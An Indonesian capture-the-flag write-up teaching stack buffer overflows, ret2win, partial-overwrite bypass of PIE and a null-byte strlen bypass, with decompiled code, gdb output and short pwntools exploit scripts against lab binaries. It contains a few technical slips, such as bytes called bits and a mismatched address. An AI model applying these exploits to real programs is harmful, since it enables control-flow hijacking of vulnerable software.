Buffer Overflow Dan Ret2win

Deskripsi

Di sini saya akan nulis solver, penjelasan, sama bagaimana saya bisa terpikirkan solvingnya. Biar apa? biarin. Soalnya gw pelupa, dan ya biar ngurangi perfeksionis lah ya, tetep nulis walau jelek, tetap upload walau ga sempurna, tetep mandi walaupun udah gantenk. Langsung aja

Simple Buffer Overflow

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  __int64 buf[4]; // [rsp+30h] [rbp-30h] BYREF
  int v4; // [rsp+50h] [rbp-10h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v4 = 0;
  printf("Send your payload (up to %lu bytes)!\n", 4096LL);
  if ( (int)read(0, buf, 0x1000uLL) < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  if ( v4 )
    win();
  puts("Goodbye!");
  return 0LL;
}

Dari hasil decompile di atas, terlihat bahwa ketika v4 terpenuhi atau v4 = 1, maka program akan memanggil function win() yang nantinya akan menampilkan flagnya. Nah gimana biar v4nya bisa dimanipulasi? Kalau kita lihat di bagian deklarasi variabel, di atas v4 kan ada int64 buf[4] tuh. Artinya apa? int64 itu 8 bit, dan bufnya array 4, berarti kita perlu ngeoverflow 8 * 4.

from pwn import *

context.binary = ELF('/chall')

p = process()
p.send(b"A" * (8 * 4) + b"1")
p.interactive()

Exploit di atas akan menimpa atau ngeoverflow si variabel buf, kan tadi udah dijelasin ya kalau v4 berada di bawah buf, nah setelah si bufnya ketimpa semua, input selanjutnya akan masuk ke v4, yang mana kalau di exploit di atas adalah 1.

Buffer Overflow Variable

Kalau di challenge sebelumnya kan variabelnya perlu di set 1, nah kalau ini perlu ngeset si variable dengan isi tertentu, ini hasil decompilenya.

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  __int64 buf[4]; // [rsp+30h] [rbp-30h] BYREF
  __int64 v4; // [rsp+50h] [rbp-10h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v4 = 0LL;
  printf("Send your payload (up to %lu bytes)!\n", 4096LL);
  if ( (int)read(0, buf, 0x1000uLL) < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  if ( HIDWORD(v4) )
  {
    puts("Lose variable is set! Quitting!");
    exit(1);
  }
  if ( (_DWORD)v4 == 0x3268AA40 )
    win();
  puts("Goodbye!");
  return 0LL;
}

Bisa kita lihat di atas, kalau variable v4nya minta diset 0x3268AA40 untuk mendapatkan win() nya. Caranya gimana? sama kayak tadi, bedanya kalau sebelumnya kan 1, nah kalau di sini dengan hex tersebut, oiya perhatikan juga arsitekturnya berapa bit dan endianya apa. Di sini 64 bit dan little endian.

chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2

Berikut solvernya:

from pwn import *

context.binary = ELF('/chall')

p = process()
p.send(b"A" * (8 * 4) + p64(0x3268AA40))
p.interactive()

p64 itu apa? p64 itu gunanya untuk ngubah si hex di dalemnya, menjadi sebuah bytes 64bit, kenapa diubah ke bytes? Karena biar bisa kebaca programnya, perlu ke bytes.

Simple Ret2Win

Di chall sebelumnya kan winnya kepanggil kalau v4 terpenuhi. Kalau di chall ini, ngga ada yang manggil win, jadi perlu manual, istilah kata-nya ret2win.

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  __int64 buf[13]; // [rsp+20h] [rbp-80h] BYREF
  int v4; // [rsp+88h] [rbp-18h]
  char v5; // [rsp+8Ch] [rbp-14h]
  int v6; // [rsp+94h] [rbp-Ch]
  size_t nbytes; // [rsp+98h] [rbp-8h]

  memset(buf, 0, sizeof(buf));
  v4 = 0;
  v5 = 0;
  nbytes = 4096LL;
  printf("Send your payload (up to %lu bytes)!\n", 4096LL);
  v6 = read(0, buf, 0x1000uLL);
  if ( v6 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}

Jadi, exploitnya nanti isinya buffer * padding + address win. Addressnya dapetnya dari mana? dari gdb. Tinggal panggil info func aja sih, kayak di bawah ini.

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010d0  __errno_location@plt
0x00000000004010e0  puts@plt
0x00000000004010f0  write@plt
0x0000000000401100  printf@plt
0x0000000000401110  geteuid@plt
0x0000000000401120  read@plt
0x0000000000401130  setvbuf@plt
0x0000000000401140  open@plt
0x0000000000401150  exit@plt
0x0000000000401160  strerror@plt
0x0000000000401170  _start
0x00000000004011a0  _dl_relocate_static_pie
0x00000000004011b0  deregister_tm_clones
0x00000000004011e0  register_tm_clones
0x0000000000401220  __do_global_dtors_aux
0x0000000000401250  frame_dummy
0x0000000000401256  bin_padding
0x0000000000401f7b  win
0x0000000000402082  challenge
0x000000000040219d  main
0x0000000000402230  __libc_csu_init
0x00000000004022a0  __libc_csu_fini
0x00000000004022a8  _fini
pwndbg> 

Kita dapetin address winnya di 0x0000000000401f7b paddingnya berapa? Di belakang buf kan ada kyk comment // [rsp+20h] [rbp-80h] BYREF gitu, nah paddingnya itu 80h + 8 bit. 8 bit dapet dari mana? int64, kalau int doang berarti penjumlahnya 4 bit.

Berikut exploitnya

from pwn import *

context.binary = ELF('/chall')

p = process()
p.send(b"A" * (0x80 + 8) + p64(0x401f7b))
p.interactive()

Ret2Win with Function Parameter

Challenge ini sama kyk sebelumnya, bedanya cuma di function winnya ada parameter tambahan

void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 0x1337 )
  {
    puts("You win! Here is your flag:");
    flag_fd_5701 = open("/flag", 0);
    if ( flag_fd_5701 < 0 )
    {
      v1 = __errno_location();
      v2 = strerror(*v1);
      printf("\n  ERROR: Failed to open the flag -- %s!\n", v2);
      if ( geteuid() )
      {
        puts("  Your effective user id is not 0!");
        puts("  You must directly run the suid binary in order to have the correct permissions!");
      }
      exit(-1);
    }
    flag_length_5702 = read(flag_fd_5701, &flag_5700, 0x100uLL);
    if ( flag_length_5702 <= 0 )
    {
      v3 = __errno_location();
      v4 = strerror(*v3);
      printf("\n  ERROR: Failed to read the flag -- %s!\n", v4);
      exit(-1);
    }
    write(1, &flag_5700, flag_length_5702);
    puts("\n");
  }
}

Cara bypassnya gimana? cukup ambil address di mana dia cat flagnya buat dijadiin return address.

pwndbg> disass win_authed 
Dump of assembler code for function win_authed:
   0x00000000004021f2 <+0>:	endbr64
   0x00000000004021f6 <+4>:	push   rbp
   0x00000000004021f7 <+5>:	mov    rbp,rsp
   0x00000000004021fa <+8>:	sub    rsp,0x10
   0x00000000004021fe <+12>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000402201 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1337
   0x0000000000402208 <+22>:	jne    0x40230c <win_authed+282>
   0x000000000040220e <+28>:	lea    rdi,[rip+0xdf3]        # 0x403008
   0x0000000000402215 <+35>:	call   0x4010e0 <puts@plt>
   0x000000000040221a <+40>:	mov    esi,0x0
   0x000000000040221f <+45>:	lea    rdi,[rip+0xdfe]        # 0x403024
   0x0000000000402226 <+52>:	mov    eax,0x0
   0x000000000040222b <+57>:	call   0x401140 <open@plt>
   0x0000000000402230 <+62>:	mov    DWORD PTR [rip+0x2e0a],eax        # 0x405040 <flag_fd.5701>
   0x0000000000402236 <+68>:	mov    eax,DWORD PTR [rip+0x2e04]        # 0x405040 <flag_fd.5701>
   0x000000000040223c <+74>:	test   eax,eax
   0x000000000040223e <+76>:	jns    0x40228d <win_authed+155>

Kalau saya mikirnya sih ambil addressnya di instruksi yang depannya j aja sih, kenapa? karena j itu ibarat if, jadi kalau dipanggil, bisa ngebypass ifnya. Nah if yang perlu kita bypass kan if yang pertama yaitu if (a1 = 0x1337), jadi saya ambilnya j yang pertama, yaitu jne 0x40230c <win_authed+282>.

Solver :

from pwn import *

context.binary = ELF('/challenge/binary-exploitation-control-hijack-2')

p = process()
p.send(b"A" * (0x40 + 8) + p64(0x402208))
p.interactive()

Ret2Win with Function Parameter PIE Enabled

Sama kyk sebelumnya, bedanya ini PIE enabled. Sesuai deskripsi chall sih, perlu bruteforce dikit. Jadi nantinya 1 exploit dicoba berulang-ulang sampe dapetin flagnya.

Jadi, si PIE ini bakal ngerandomize base address, nah kalau di challenge sebelumnya kita ret2win ke ret address yang diambil di gdb, di chall ini gabisa langsung kayak gitu, soalnya base addressnya random. Seperti yang udah dijelasin di deskripsi chall juga kalau si PIE itu cuma ngerandom address awalnya aja, 2 byte terakhir ga dirandom, tetep sama, jadi kita perlu jadiin 2 byte terakhir tsb buat ret addressnya. Ini gdbnya.

pwndbg> disass win_authed 
Dump of assembler code for function win_authed:
   0x0000000000001e70 <+0>:	endbr64
   0x0000000000001e74 <+4>:	push   rbp
   0x0000000000001e75 <+5>:	mov    rbp,rsp
   0x0000000000001e78 <+8>:	sub    rsp,0x10
   0x0000000000001e7c <+12>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000001e7f <+15>:	cmp    DWORD PTR [rbp-0x4],0x1337
   0x0000000000001e86 <+22>:	jne    0x1f8a <win_authed+282>
   0x0000000000001e8c <+28>:	lea    rdi,[rip+0x1175]        # 0x3008
   0x0000000000001e93 <+35>:	call   0x10f0 <puts@plt>
   0x0000000000001e98 <+40>:	mov    esi,0x0
   0x0000000000001e9d <+45>:	lea    rdi,[rip+0x1180]        # 0x3024
   0x0000000000001ea4 <+52>:	mov    eax,0x0
   0x0000000000001ea9 <+57>:	call   0x1150 <open@plt>
   0x0000000000001eae <+62>:	mov    DWORD PTR [rip+0x318c],eax        # 0x5040 <flag_fd.5701>
   0x0000000000001eb4 <+68>:	mov    eax,DWORD PTR [rip+0x3186]        # 0x5040 <flag_fd.5701>
   0x0000000000001eba <+74>:	test   eax,eax

Kalau tadi kita ambil address dari jne, sekarang kita ambil ke lea aja, karena saya kemarin salah dikit, di lea itu lebih aman dan pasti lah, sedangkan jne bisa aja case atau flagnya ga terpenuhi. 2 Byte terakhir dari leanya yaitu 0x165e

Berikut solvernya

from pwn import *

context.binary = ELF('/chall')
context.log_level = 'error'
p = process()

payload = b"A" * (0x30 + 8)
payload += p16(0x1e8c)
p.send(payload)

out = p.recvall(timeout=1)
print(out.decode(errors='ignore'))
p.close()

Di atas adalah solvernya, mengapa p16? karena kita fokus pada 2 byte terakhir saja, dan coba exploitnya berkali kali sesuai deskripsi.

String Length

Di sini awalnya gw bingung, cm pas liat hasil disassembly kok ada if length < 44. Terus nama file challnya null write gitu, gw akhire nangkep objektifnya bakal kemana. Ini disassembly challengenya.

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  __int64 dest[3]; // [rsp+20h] [rbp-40h] BYREF
  int v4; // [rsp+38h] [rbp-28h]
  __int16 v5; // [rsp+3Ch] [rbp-24h]
  char v6; // [rsp+3Eh] [rbp-22h]
  size_t v7; // [rsp+40h] [rbp-20h]
  int v8; // [rsp+4Ch] [rbp-14h]
  void *buf; // [rsp+50h] [rbp-10h]
  size_t size; // [rsp+58h] [rbp-8h]

  memset(dest, 0, sizeof(dest));
  v4 = 0;
  v5 = 0;
  v6 = 0;
  size = 4096LL;
  buf = malloc(0x1000uLL);
  if ( !buf )
    __assert_fail("tmp_input != 0", "/chall.c", 0x49u, "challenge");
  printf("Send your payload (up to %lu bytes)!\n", size);
  v8 = read(0, buf, size);
  v7 = strlen((const char *)buf);
  if ( v7 > 0x1E )
    __assert_fail("string_length < 31", "/chall.c", 0x4Du, "challenge");
  memcpy(dest, buf, v8);
  if ( v8 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}

Bedanya dari challenge sebelumnya adalah challenge sebelumnya input masuk langsung pake gets(), kalau di chall ini, input masuk lewat read(), dan yang bikin vuln adalah memcpy yang full mindah tanpa dikasih bates. Ini potongannya.

v8 = read(0, buf, size);
  v7 = strlen((const char *)buf);
  if ( v7 > 30 )
    __assert_fail("string_length < 31", "/chall.c", 0x4Du, "challenge");
  memcpy(dest, buf, v8);

Kenapa bisa vuln? karena program ngasih validasi cuma lewat strlen(), dan ini masih bisa lolos, bikin mempcy mindahin input buf ke dest sepenuhnya. Kenapa udah di strlen() masih bisa lolos? Karena kalau kita inputin null ‘\x00‘, si strlen ga ngedetek ini. Misalnya, kan buat ngeoverflow variabel dest, kita perlu 72 byte, dan program ngasih validasi kalau inputnya ngga boleh lebih dari 30 pake strlen. Misalnya kita kasih b”A” * 72 gini kan pasti gabisa ya, gimana kalau kita kasih b”A” 28 + b”\x00” * 44. Pasti akan lolos. Di bawah ini hasil gdb.

pwndbg> disass win_authed 
Dump of assembler code for function win_authed:
   0x0000000000002278 <+0>:	endbr64
   0x000000000000227c <+4>:	push   rbp
   0x000000000000227d <+5>:	mov    rbp,rsp
   0x0000000000002280 <+8>:	sub    rsp,0x10
   0x0000000000002284 <+12>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000002287 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1337
   0x000000000000228e <+22>:	jne    0x2392 <win_authed+282>
   0x0000000000002294 <+28>:	lea    rdi,[rip+0xd6d]        # 0x3008
   0x000000000000229b <+35>:	call   0x1130 <puts@plt>
   0x00000000000022a0 <+40>:	mov    esi,0x0
   0x00000000000022a5 <+45>:	lea    rdi,[rip+0xd78]        # 0x3024
   0x00000000000022ac <+52>:	mov    eax,0x0

Seperti biasa kita akan ambil address yang udah melewati parameter check yaitu di lea di bawah jne pertama 0x0000000000002294. Ini masih sama sebelumnya btw, PIE enabled, jadi kita perlukan 2 byte terakhir yaitu 0x2294. Berikut exploitnya.

from pwn import *

context.binary = ELF('/chall')
context.log_level = 'info'
p = process()

payload = b"A" * 28
payload += b"\x00" * 44
payload += p16(0x2294)

p.send(payload)
print(p.recvall(timeout=1).decode(errors='ignore'))

Kesimpulan

Kesimpulannya adalah di sini kita belajar dasar-dasar buffer overflow dan ret2win, selain itu kita juga belajar bagaimana bypass program yang diproteksi partial PIE tanpa adanya format string vulnerability, juga kita bisa ngebypass strlen pake null bytes, terimakasih sudah membaca sampai series ini, jumpa lagi di series selanjutnya :D.

0%